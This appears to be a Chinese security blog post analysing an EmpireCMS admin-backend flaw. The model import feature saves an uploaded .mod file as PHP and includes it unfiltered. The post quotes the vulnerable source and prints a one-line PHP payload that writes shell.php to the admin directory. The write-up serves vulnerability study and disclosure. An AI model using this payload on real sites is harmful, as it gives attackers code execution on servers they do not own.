EmpireCms后台Getshell

admin 2023年6月2日22:31:17评论38 views字数 2314阅读7分42秒阅读模式

漏洞概述:

漏洞触发点是在后台管理中心-系统-数据表与数据模型-管理数据表,导入一个新的模型(后缀名需要是.mod),其中的内容写入PHP代码:

<?php file_put_contents("shell.php","<?php phpinfo(); ?>") ?>

传上去之后,会在admin目录下面直接生成shell.php这个文件,从而直接获得一个shell。

原理及代码分析:

找到对应的代码文件是e/admin/ecmsmod.php

elseif($enews=="LoadInMod"){    $file=$_FILES['file']['tmp_name'];    $file_name=$_FILES['file']['name'];    $file_type=$_FILES['file']['type'];    $file_size=$_FILES['file']['size'];    LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);}

判断是导入模型之后通过全局变量$_FILES获取了几个参数,然后通过LoadMod函数进行处理,下面跟进:

函数位置是e/class/moddofun.php

function LoadInMod($add,$file,$file_name,$file_type,$file_size,$userid,$username){  global $empire,$dbtbpre,$ecms_config;  //验证权限  CheckLevel($userid,$username,$classid,"table");  $tbname=RepPostVar(trim($add['tbname']));  if(!$file_name||!$file_size||!$tbname)  {    printerror("EmptyLoadInMod","");  }  //扩展名  $filetype=GetFiletype($file_name);  if($filetype!=".mod")  {    printerror("LoadInModMustmod","");  }  //表名是否已存在  $num=$empire->gettotal("select count(*) as total from {$dbtbpre}enewstable where tbname='$tbname' limit 1");  if($num)  {    printerror("HaveLoadInTb","");  }  //上传文件  $path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";  $cp=@move_uploaded_file($file,$path);  if(!$cp)  {    printerror("EmptyLoadInMod","");  }  DoChmodFile($path);  @include($path);  UpdateTbDefMod($tid,$tbname,$mid);  //公共变量  TogSaveTxtF(1);  GetConfig(1);//更新缓存  //生成模型表单文件  $modr=$empire->fetch1("select mtemp,qmtemp,cj from {$dbtbpre}enewsmod where mid='$mid'");  ChangeMForm($mid,$tid,$modr[mtemp]);//更新表单  ChangeQmForm($mid,$tid,$modr[qmtemp]);//更新前台表单  ChangeMCj($mid,$tid,$modr[cj]);//采集表单  //删除文件  DelFiletext($path);  //操作日志  insert_dolog("tid=$tid&tb=$tbname<br>mid=$mid");  printerror("LoadInModSuccess","db/ListTable.php".hReturnEcmsHashStrHref2(1));}

可以看到在验证完权限、扩展名是否合法、表明是否存在之后开始文件上传的操作,通过当前时间和10位随机数创建一个随机的文件名地址,可以看到,这里直接拼接我们上传的文件为一个php文件,如果知道地址我们是可以直接访问的,但是不太可能猜解出来:

  $path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";

然后通过move_upload_file()移到一个新的位置,新的位置也就是上面直接生成的文件地址。

之后,就是存在漏洞的地方:

  @include($path);

它!竟然直接包含进来刚刚随机生成的那个php文件,由于上传的文件内容我们可以控制,而且没有对文件内容做控制,我们可以在上传的mod文件中添加php代码,在include进来后直接执行。


总结逻辑:我们传一个mod文件,系统会将这个文件重新拼接成一个php文件并且文件名随机,然后include进来这个文件,由于mod内容可以控制且没有过滤,所以我们其中的代码会被解析,因此写一个创建shell.php的代码在.mod文件中可以直接被执行:

<?php file_put_contents("shell.php","<?php phpinfo(); ?>") ?>

从而在/admin目录生成shell.php







原文始发于微信公众号(增益安全):EmpireCms后台Getshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月2日22:31:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   EmpireCms后台Getshellhttp://cn-sec.com/archives/784527.html

发表评论

匿名网友 填写信息